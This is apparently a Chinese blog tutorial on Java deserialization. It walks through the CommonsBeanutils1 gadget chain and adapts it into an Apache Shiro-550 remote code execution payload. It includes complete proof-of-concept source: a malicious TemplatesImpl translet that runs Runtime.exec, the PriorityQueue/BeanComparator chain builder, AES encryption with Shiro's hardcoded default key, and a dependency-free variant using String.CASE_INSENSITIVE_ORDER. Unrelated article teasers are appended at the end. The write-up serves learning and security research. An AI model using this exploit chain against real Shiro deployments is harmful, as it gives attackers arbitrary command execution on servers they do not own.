CommonsBeanutils与Shiro发序列化利用的学习
一、前言
前面的学习中,过了一遍cc1-cc7的利用链,在CC2的利用链中,学习了 java.util.PriorityQueue,它在Java中是一个优先队列,队列中每一个元素都有自己的优先级。在反序列化这个对象时,为了保证队列顺序,会进行重排序的操作,而排序会进行比较,进而执行 java.util.Comparator 接口的 compare()方法。 那么,后续我们可以继续学习下其他利用 java.util.Comparator 对象。
二、初识 Apache Commons Beanutils
Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean) 的一些操作方法。
比如,Cat是一个最简单的 JavaBean类:
final public class Cat{private String name = "catalina";public String getName() {return name;}public void setName(String name) {this.name = name;}
}
它包含一个私有属性name和读取、设置这个属性的方法,又称为 getter 和 setter, 其中给getter的方法名以 get开头,setter的方法以set开头,全名符合骆驼式命名法 (Camel-Case)。
commons-beanutils 中提供了一个静态方法 PropertyUtils.getProperty, 让使用者可以直接调用任意JavaBean 的 getter 方法,比如:
PropertyUtils.getProperty(new Cat(), "name");
此时,commons-beanutils 会自动找到 name 属性的 getter() 方法,也就是 getName, 然后调用,获得返回值。 除此之外, PropertyUtils.getProperty 还支持递归获取属性, 比如 a对象中有属性b , b对象有属性 c,我们可以通过 PropertyUtils.getProperty(a, "b.c"); 的方式进行递归获取。 通过这个方法,使用者可以很方便的调用任意对象的 getter, 适用于在不确定 JavaBean 是哪个类对象时使用。当然 , commons-beanutils 中还有很多类似的辅助方法,如调用 setter、拷贝属性等。
三、getter 的妙用
文章开头说过,再找过可以利用的 java.util.Comparator 对象, 在 commons-beanutils 包中就存在一个: org.apache.commons.beanutils.BeanComparator
BeanComparator 是 commons-beanutils 提供的用来比较两个 JavaBean是否相等的类,其实现了java.util.Comparator 接口
org.apache.commons.beanutils.BeanComparator.javapublic int compare( final T o1, final T o2 ) {if ( property == null ) {// compare the actual objectsreturn internalCompare( o1, o2 );}try {final Object value1 = PropertyUtils.getProperty( o1, property );final Object value2 = PropertyUtils.getProperty( o2, property );return internalCompare( value1, value2 );}catch ( final IllegalAccessException iae ) {throw new RuntimeException( "IllegalAccessException: " +iae.toString() );}catch ( final InvocationTargetException ite ) {throw new RuntimeException( "InvocationTargetException: " +ite.toString() );}catch ( final NoSuchMethodException nsme ) {throw new RuntimeException( "NoSuchMethodException: " +nsme.toString() );}
}
这个方法传入两个对象,如果 this.property 为空, 则直接比较这两个对象; 如果 this.property 不为空,则用 PropertyUtils.getProperty 分别取这两个对象的 this.property属性,比较属性的值。 在上节说过 PropertyUtils.getProperty 这个方法会自动调用一个 JavaBean 的getter 方法,这个点就是 任意代码执行的关键。 有没有什么 getter 方法可以执行恶意代码呢?
在 java的类加载机制的学习_java是如何加载类的-CSDN博客 文章中,有过这么一条关于TemplatesImpl 的调用链的说明
追溯到最前面两个方法 TemplatesImpl#getOutputProperties() 、 TemplatesImpl#newTransformer() ,这两者都是 public属性,都可以被外部调用,当初我们分析是从 TemplatesImpl#newTransformer() 开始利用调用的; 但是实际上, TemplatesImpl#getOutputProperties() 方法是调用链上的一环, 它的内部调用了 TemplatesImpl#newTransformer() , 也就是我们后面用来执行恶意字节码的地方。
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.javapublic synchronized Properties getOutputProperties() {try{return newTransformer().getOutputProperties();}catch (TransformerConfigurationException e){return null;}
}
而 getOutputProperties 这个名字, 是以get 开头,正符合 getter 的定义。
所以,PropertyUtils.getPropertyh( o1, property ) 这段代码,当 o1 是一个 TemplatesImpl对象,而property 的值为 outputProperties时, 系那个会自动调用 getter, 也就是 TemplatesImpl#getOutputProperties() 方法, 触发代码执行。
四、反序列化利用链构造
首先还是创建 TemplatesImpl:
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{ ClassPool.getDefault().get(evil.EvilTemplatesImpl.class,getName()).toBytecode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
然后,实例化 BeanComparator, BeanComparator 构造函数为空时, 默认的 property 就是空:
final BeanComparator comparator = new BeanComparator();
然后用这个comparator 实例化优先队列 PriorityQueue
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
//stub data for replacement later
queue.add(1);
queue.add(1);
我们添加了两个无害的可以比较的对象进队列中,前文说过, BeanComParator#compare() 中,如果this.property 为空,则直接比较这两个对象。 这里实际上就是对两个1 进行排序。
初始化时使用无害对象, 且 property 为空,这一系列操作是为了 初始化的时候不要出错。 然后,我们再用反射将 property 的值设置成恶意的 outputProperties, 将队列里的两个替换成 恶意的 TemplateImpl 对象:
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj,obj});
构造的POC如下:
运行环境:
Java 1.8.0_71
maven依赖:
<dependency><groupId>commons-beanutils</groupId><artifactId>commons-beanutils</artifactId><version>1.9.4</version> </dependency>
evil.javapackage com.vulhub.Ser;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class evil extends AbstractTranslet {public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}public evil() throws Exception {super();System.out.println("Hello TemplatesImpl");Runtime.getRuntime().exec("calc.exe");}
}
CommonsBeanutils1.javapackage com.vulhub.Ser;import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;public class CommonsBeanutils1 {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{ClassPool.getDefault().get(evil.class.getName()).toBytecode()});setFieldValue(obj, "_name", "HelloTemplatesImpl");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());final BeanComparator comparator = new BeanComparator();final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);// stub data for replacement laterqueue.add(1);queue.add(1);setFieldValue(comparator, "property", "outputProperties");setFieldValue(queue, "queue", new Object[]{obj, obj});ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(queue);oos.close();System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}
}
五、Shiro550 利用链
在之前文章TemplatesImpl 在Shiro中的利用链学习1_org.apache.shiro.io.classresolvingobjectinputstrea-CSDN博客
的学习中,用了P神的 shirodemo, 在里面提到过几个依赖库:
前4个依赖和项目本身有关,少了他们这个demo会出错或功能确实。 但是第5个依赖,commons-collections主要是为了演示漏洞。 那么,实际的场景下,目标可能并没有安装 commons-collections, 这个时候还能怎么利用这个 shiro反序列化漏洞呢?
我们将项目 的commons-collections的依赖关闭,查看项目结构,发现 commons-beanutils:1.8.3赫然在列。 也就是说 Shiro是依赖于 commonst-beanutils的。
尝试用上文构造的poc,构造一个shiro的payload,需要做以下两件事,
- 第一是改变maven中 commons-beanutils 依赖的版本,上面用的 commons-beanutils 1.9.4, demo中的用的是 commons-beanutils 1.8.3 ,不然会报错
Caused by:java.io.InvalidClassException:org.apache.commons.beanutils.BeanComparator;local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962
如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通 信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会 根据固定算法计算出一个当前类的
serialVersionUID
值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的serialVersionUID
不同,则反序列化就会异常退出,避免后续的未知隐患。当然,开发者也可以手工给类赋予一个
serialVersionUID
值,此时就能手工控制兼容性了
- 第二,在原先的基础上,将序列化字节流重新加密下,生成shiro的payload
//输出 Shiro的payloadAesCipherService aes = new AesCipherService();byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);System.out.println(ciphertext.toString());
点击发送payload,然后发现还是报错了:
Caused by: org.apache.shiro.util.UnknownClassException: Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator] from the thread context, current, or system/application ClassLoaders. All heuristics have been exhausted. Class could not be found.
简单来说就是没找到 org.apache.collections.comparators.ComparableComparator 类, 从包名可以看出,这个类来自 commons-collections。
commons-beanutils 本来依赖于 commons-collections ,但是在Shiro中,它的 commons-beanutils 虽然包含了 一部分 commons-collections的类, 但却不全。这也导致,正常使用 Shiro 的时候不需要依赖于 commons-collections, 但反序列化利用的时候需要依赖于 commons-collections。
六、无依赖的 Shiro 发序列化利用链
我们先看下 org.apache.collections.comparators.ComparableComparator 类在哪里使用了
在 BeanComparator类的构造函数处,当没有显式传入Comparator 的情况下,则默认使用 org.apache.commons.collections.comparators.ComparableComparator 这也是报错的原因,我们poc中没有指定,导致用了commons-collections 包的 ComparableComparator类。
既然Shiro中没有org.apache.commons.collections.comparators.ComparableComparator
就需要重新找一个类来替换,需要满足下面几个条件:
- 实现java.util.Comparator 接口
- 实现 java.io.Serializable 接口
- Java、shiro 或 commons-beanutils 自带,兼容性强
相关代码如下:
java.lang.String public static final Comparator<String> CASE_INSENSITIVE_ORDER= new CaseInsensitiveComparator();private static class CaseInsensitiveComparatorimplements Comparator<String>, java.io.Serializable {// use serialVersionUID from JDK 1.2.2 for interoperabilityprivate static final long serialVersionUID = 8575799808933029326L;public int compare(String s1, String s2) {int n1 = s1.length();int n2 = s2.length();int min = Math.min(n1, n2);for (int i = 0; i < min; i++) {char c1 = s1.charAt(i);char c2 = s2.charAt(i);if (c1 != c2) {c1 = Character.toUpperCase(c1);c2 = Character.toUpperCase(c2);if (c1 != c2) {c1 = Character.toLowerCase(c1);c2 = Character.toLowerCase(c2);if (c1 != c2) {// No overflow because of numeric promotionreturn c1 - c2;}}}}return n1 - n2;}}
这个 CaseInsensitiveComparator 类是 java.lang.String 类下的一个内部私有类,其实现了Comparator 和 Serializable ,且位于Java的核心代码中,兼容性强,是一个完美替代品。
并且通过 String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的 caseInsensitiveComparator 对象,用它来实例化 BeanComparator:
final BeanComparator comparator = new BeanComparator(null,
String.CASE_INSENSITIVE_ORDER);
后面添加的对象要是字符类型,把1 改成“1” 即可:
queue.add(“1”);
queue.add(“1”);
最终poc如下:
CommonsBeanutils1.javapackage com.vulhub.Ser;import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;public class CommonsBeanutils1 {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{ClassPool.getDefault().get(evil.class.getName()).toBytecode()});setFieldValue(obj, "_name", "HelloTemplatesImpl");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);// stub data for replacement later//需要添加字符串queue.add("1");queue.add("1");setFieldValue(comparator, "property", "outputProperties");setFieldValue(queue, "queue", new Object[]{obj, obj});ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(queue);oos.close();//输出 Shiro的payloadAesCipherService aes = new AesCipherService();byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);System.out.println(ciphertext.toString());//System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}
}
其实也有用 java.util.Collections$ReverseComparator类的;
java.util.Collections.javapublic static <T> Comparator<T> reverseOrder() {return (Comparator<T>) ReverseComparator.REVERSE_ORDER;}/*** @serial include*/private static class ReverseComparatorimplements Comparator<Comparable<Object>>, Serializable {private static final long serialVersionUID = 7207038068494060240L;static final ReverseComparator REVERSE_ORDER= new ReverseComparator();public int compare(Comparable<Object> c1, Comparable<Object> c2) {return c2.compareTo(c1);}private Object readResolve() { return reverseOrder(); }}
通过 java.util.Collections.reverseOrder()能够取得 ReverseComparator 对象
最终构造poc效果一样。
相关文章:

CommonsBeanutils与Shiro发序列化利用的学习
一、前言 前面的学习中,过了一遍cc1-cc7的利用链,在CC2的利用链中,学习了 java.util.PriorityQueue,它在Java中是一个优先队列,队列中每一个元素都有自己的优先级。在反序列化这个对象时,为了保证队列顺序…...

运维云计算SRE-第2周
1. 总结学过的权限,属性及ACL相关命令及选项,示例。 一、Linux安全模型 (一)资源分派 Authentication(认证):验证用户身份,确保登录系统的用户是合法的。 Authorization(…...
React Native 全栈开发实战班 - 用户界面进阶之响应式设计实践
在移动应用开发中,响应式设计 是确保应用在不同设备、屏幕尺寸和方向下都能提供良好用户体验的关键。React Native 提供了多种工具和技巧来实现响应式设计,包括 Flexbox 布局、动态样式、屏幕尺寸适配等。本章节将详细介绍如何在 React Native 中进行响应…...

SlickGrid点击/双击事件
分析 SlickGrid提供了点击事件方法grid.onClick和grid.onDblClick用于捕获用户对表格列的点击,捕获到点击事件之后,修改表格数据,然后使用grid.updateRow方法将修改后的数据更新到表格中。 展示 代码 创建grid(HTML)…...

一文详细深入总结服务器选型
1. 题记: 服务器选型工作是项目规划检讨的一项非常重要的工作,本文详细深入总结服务器选型。 2. 服务器基础知识概览 2.1 服务器的定义与功能 2.1 .1 定义 服务器是一种高性能计算机,其设计目的是在网络中提供服务。它可以处理来自多个客…...
一、Nginx反向代理(七层代理)二、Nginx的TCP/UDP调度器(四层代理)
一、Nginx反向代理(七层代理) 实验要求 使用Nginx实现Web反向代理功能,实现如下功能: 后端Web服务器两台,可以使用httpd实现Nginx采用轮询的方式调用后端Web服务器两台Web服务器的权重要求设置为不同的值最大失败次数为…...

CSS+JQuery 实现弹力球效果,碰到屏幕边框弹回
实现弹力球效果,碰到屏幕边框弹回,效果如下 代码如下: <img src"../image/ball.png" alt"" class"ball"> <style>.ball {position: fixed;top: 50vh;left: 50vw;width: 15vw;height: 15vw;border…...
shell编程规范和脚本变量
什么是shell 人和计算机内核之间的中介: 计算机的语言是二进制,把人类的语言翻译成计算机能够识别的语言,然后让内核来处理 内核完成之后要把结果反馈给用户,要把计算机的翻译成人类能够识别的语言 命令解释器,pyc…...

jspm美容院管理系统
摘要 首先,论文一开始便是清楚的论述了系统的研究内容。其次,剖析系统需求分析,弄明白“做什么”,分析包括业务分析和业务流程的分析以及用例分析,更进一步明确系统的需求。然后在明白了系统的需求基础上需要进一步地设计系统,主要包罗软件架构模式、整体功能模块、数据库设计…...

Prometheus结合K8s(二)使用
上一篇介绍了如何搭建 Prometheus结合K8s(一)搭建-CSDN博客,这章介绍使用 页面访问 kubectl get svc -n prom 看promeheus和granfana的端口访问页面 Prometheus 点击status—target,可以看到metrics的数据来源,即各…...
【虚幻引擎】UE5数字人开发实战教程
本套课程将会交大家如何去开发属于自己的数字人,包含大模型接入,流式输出,语音识别,语音合成,口型驱动,动画蓝图,语音唤醒等功能。 课程介绍视频如下: 【虚幻引擎】UE5 历时一个多月…...
深入分析:固定参考框架在RViz中的作用与对数据可视化的影响 ros ubuntu20.04
深入分析:固定参考框架在RViz中的作用与对数据可视化的影响 RViz (Robot Visualization) 是 ROS (Robot Operating System) 中一种重要的三维可视化工具,主要用于实时观察和分析传感器数据、机器人状态信息以及环境模型。RViz的核心功能之一是固定参考框…...

Android:时间选择器(最下面有效果图)
1.创建DateUtil类 /*** Created by wangshuai on 2024/11/19.*/ public class DateUtil {public final static String PATTERN_ALL"yyyy-MM-dd HH:mm:ss";public final static String PATTERN_DEFAULT"yyyy-MM-dd";/*** 获取当前时间* return yyyy-MM-dd*…...
第十六届蓝桥杯模拟赛(第一期)-c++/c
c/c蓝桥杯模拟赛题解,非常详细 质因数 1、填空题 【问题描述】 如果一个数 p 是个质数,同时又是整数 a 的约数,则 p 称为 a 的一个质因数。 请问 2024 有多少个质因数。 【答案提交】 这是一道结果填空的题,你只需要算出结果后提…...
如何挑选路由器?需要看哪些参数?
挑选路由器时,选择合适的型号和参数对于确保家庭或办公网络的速度、稳定性和覆盖范围至关重要。以下是挑选路由器时需要考虑的关键参数和因素: 1. 无线标准 (Wi-Fi标准) 无线标准是衡量路由器性能的核心指标。不同的无线标准提供不同的速率、范围和技术…...

mysql-备份(二)
前章介绍了MySQL的内部数据结构btree,这章讲述mysql的备份 1:环境 ubuntu22.04 LST mysql5.7.42 or win10 mysql5.7.44 (这里图简单直接windows部署) download:https://downloads.mysql.com/archives/community/ 2:install 1> unzip mysql-5.7.44-w…...
Tailwind CSS 和 UnoCSS简单比较
UnoCSS 和 Tailwind CSS 都是流行的原子化 CSS 框架,但它们在设计理念、性能和使用方式上有一些重要的区别。下面是对它们的详细对比: 1. 概述 Tailwind CSS:Tailwind 是一个原子化的 CSS 框架,提供了大量的预定义类(…...
unity3d————范围检测
目录 知识点一:什么是范围检测 知识点二:如何进行范围检测 问题: Physics.queriesHitTriggers 怎么查看是不是true? QueryTriggerInteraction.UseGlobal 参数意味着是否检测触发器将依据全局设置 Physics.queriesHitTrigge…...

修改this.$confirm的按钮位置、图标、文字及标题
在Vue.js项目中,this.$confirm 通常是基于某些UI库(如Element UI或Ant Design Vue)的对话框确认方法。 以下是基于Element UI的this.$confirm的用法示例。 在此之前,你的项目要已经安装了Element UI,如果没安装话就打…...
SQL MID() 函数详解
SQL MID() 函数详解 SQL 中的 MID() 函数是一个非常有用的字符串处理工具,它允许用户从字符串中提取特定位置的子字符串。这个函数在数据库查询和报告中特别有用,尤其是在需要从较长的文本字段中提取特定信息时。本文将详细介绍 MID() 函数的用法、参数…...

未来机器人的大脑:如何用神经网络模拟器实现更智能的决策?
编辑:陈萍萍的公主一点人工一点智能 未来机器人的大脑:如何用神经网络模拟器实现更智能的决策?RWM通过双自回归机制有效解决了复合误差、部分可观测性和随机动力学等关键挑战,在不依赖领域特定归纳偏见的条件下实现了卓越的预测准…...
rknn优化教程(二)
文章目录 1. 前述2. 三方库的封装2.1 xrepo中的库2.2 xrepo之外的库2.2.1 opencv2.2.2 rknnrt2.2.3 spdlog 3. rknn_engine库 1. 前述 OK,开始写第二篇的内容了。这篇博客主要能写一下: 如何给一些三方库按照xmake方式进行封装,供调用如何按…...

练习(含atoi的模拟实现,自定义类型等练习)
一、结构体大小的计算及位段 (结构体大小计算及位段 详解请看:自定义类型:结构体进阶-CSDN博客) 1.在32位系统环境,编译选项为4字节对齐,那么sizeof(A)和sizeof(B)是多少? #pragma pack(4)st…...
linux 错误码总结
1,错误码的概念与作用 在Linux系统中,错误码是系统调用或库函数在执行失败时返回的特定数值,用于指示具体的错误类型。这些错误码通过全局变量errno来存储和传递,errno由操作系统维护,保存最近一次发生的错误信息。值得注意的是,errno的值在每次系统调用或函数调用失败时…...
C++.OpenGL (10/64)基础光照(Basic Lighting)
基础光照(Basic Lighting) 冯氏光照模型(Phong Lighting Model) #mermaid-svg-GLdskXwWINxNGHso {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-GLdskXwWINxNGHso .error-icon{fill:#552222;}#mermaid-svg-GLd…...

DingDing机器人群消息推送
文章目录 1 新建机器人2 API文档说明3 代码编写 1 新建机器人 点击群设置 下滑到群管理的机器人,点击进入 添加机器人 选择自定义Webhook服务 点击添加 设置安全设置,详见说明文档 成功后,记录Webhook 2 API文档说明 点击设置说明 查看自…...

uniapp 开发ios, xcode 提交app store connect 和 testflight内测
uniapp 中配置 配置manifest 文档:manifest.json 应用配置 | uni-app官网 hbuilderx中本地打包 下载IOS最新SDK 开发环境 | uni小程序SDK hbulderx 版本号:4.66 对应的sdk版本 4.66 两者必须一致 本地打包的资源导入到SDK 导入资源 | uni小程序SDK …...
解决:Android studio 编译后报错\app\src\main\cpp\CMakeLists.txt‘ to exist
现象: android studio报错: [CXX1409] D:\GitLab\xxxxx\app.cxx\Debug\3f3w4y1i\arm64-v8a\android_gradle_build.json : expected buildFiles file ‘D:\GitLab\xxxxx\app\src\main\cpp\CMakeLists.txt’ to exist 解决: 不要动CMakeLists.…...

nnUNet V2修改网络——暴力替换网络为UNet++
更换前,要用nnUNet V2跑通所用数据集,证明nnUNet V2、数据集、运行环境等没有问题 阅读nnU-Net V2 的 U-Net结构,初步了解要修改的网络,知己知彼,修改起来才能游刃有余。 U-Net存在两个局限,一是网络的最佳深度因应用场景而异,这取决于任务的难度和可用于训练的标注数…...
Leetcode33( 搜索旋转排序数组)
题目表述 整数数组 nums 按升序排列,数组中的值 互不相同 。 在传递给函数之前,nums 在预先未知的某个下标 k(0 < k < nums.length)上进行了 旋转,使数组变为 [nums[k], nums[k1], …, nums[n-1], nums[0], nu…...